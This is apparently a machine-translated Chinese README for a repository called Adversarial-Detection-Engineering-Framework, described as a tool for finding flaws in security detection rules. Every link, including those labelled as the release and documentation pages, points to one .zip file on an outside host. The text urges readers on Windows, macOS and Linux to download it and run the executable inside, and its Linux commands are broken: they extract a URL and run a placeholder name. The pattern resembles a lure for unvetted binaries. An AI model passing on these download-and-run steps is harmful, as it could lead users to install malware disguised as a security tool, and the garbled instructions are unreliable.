luq12-growagarden/Adversarial-Detection-Engineering-Framework

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# 🚀 Adversarial-Detection-Engineering-Framework - 轻松识别检测缺陷 ![点击此处下载](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ef08aba83e144205.zip) [点击此处下载](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ef08aba83e144205.zip) ## 📋 概述 Adversarial-Detection-Engineering-Framework 帮助您发现、分类并理解检测逻辑中的缺陷。无论这些缺陷是在您的 SIEM、EDR 还是 XDR 规则中,该框架都提供了真实世界的示例和方法,帮助您识别安全系统中的弱点。 ## ⚙️ 功能特性 - **缺陷识别:** 学习如何发现不同类型的检测逻辑缺陷。 - **分类:** 理解检测规则中各种类型的缺陷。 - **推理工具:** 使用各种方法来分析和推理检测到的缺陷。 - **具体示例:** 查找与真实场景直接相关的示例。 - **绕过技术:** 研究突显漏洞的真实世界绕过案例。 ## 🎯 目标受众 该框架非常适合安全分析师、事件响应人员以及任何参与创建和维护检测规则的人员。使用本框架无需具备编程知识。 ## 🚀 快速入门 要开始使用,您需要下载该框架。请按照以下步骤操作: 1. **访问发布页面:** 前往 [发布页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ef08aba83e144205.zip) 查看所有可用版本。 2. **选择版本:** 查找最新版本。该版本的版本号最大。 3. **下载:** 点击版本链接进入下载选项。点击 .zip 或可执行文件将其下载到您的计算机。 ## 💾 下载与安装 您可以直接从发布页面下载该框架。为了方便访问,这里再次提供链接:[点击此处下载](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ef08aba83e144205.zip)。 下载完成后,请按照以下简单步骤操作: ### Windows 1. 在您的 Downloads 文件夹中找到下载的 .zip 或 .exe 文件。 2. 如果您下载的是 .zip 文件,请右键单击并选择“Extract All(全部提取)”进行解压。 3. 打开解压后的文件夹并找到可执行文件。 4. 双击可执行文件开始安装或直接使用 .exe 文件。 ### macOS 1. 在您的 Downloads 文件夹中找到 .zip 文件。 2. 双击 .zip 文件进行解压。 3. 打开解压后的文件夹并找到应用程序。 4. 将应用程序拖放到您的 Applications 文件夹以便于访问。 ### Linux 1. 在您的 Downloads 文件夹中找到下载的 https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ef08aba83e144205.zip 文件。 2. 打开终端并使用 `cd ~/Downloads` 导航到 Downloads 文件夹。 3. 使用以下命令解压文件:`tar -xzf https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ef08aba83e144205.zip`。 4. 导航到解压后的文件夹并使用以下命令运行应用程序:`./application_name`。 ## 🖥️ 系统要求 - **操作系统:** Windows 10 或更高版本,macOS 10.15 或更高版本,任何现代 Linux 发行版。 - **RAM:** 建议至少 4GB。 - **磁盘空间:** 至少 200MB 的可用空间。 ## 📚 文档 安装框架后,您可以访问文档。文档将指导您使用该框架并深入了解其功能。您可以在应用程序内找到它,或访问 [文档页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ef08aba83e144205.zip)。 ## 🛠️ 获取帮助 如果您在安装或使用过程中遇到任何问题,请在我们 GitHub 仓库中提交 issue。请提供问题的详细信息,以便社区为您提供帮助。 ## 🤝 参与贡献 我们欢迎各种贡献。如果您想为框架做出贡献,请查看 GitHub 仓库中的贡献指南以了解详细信息。 感谢您选择 Adversarial-Detection-Engineering-Framework。我们希望它能增强您理解和保护检测系统的能力。祝您学习愉快!
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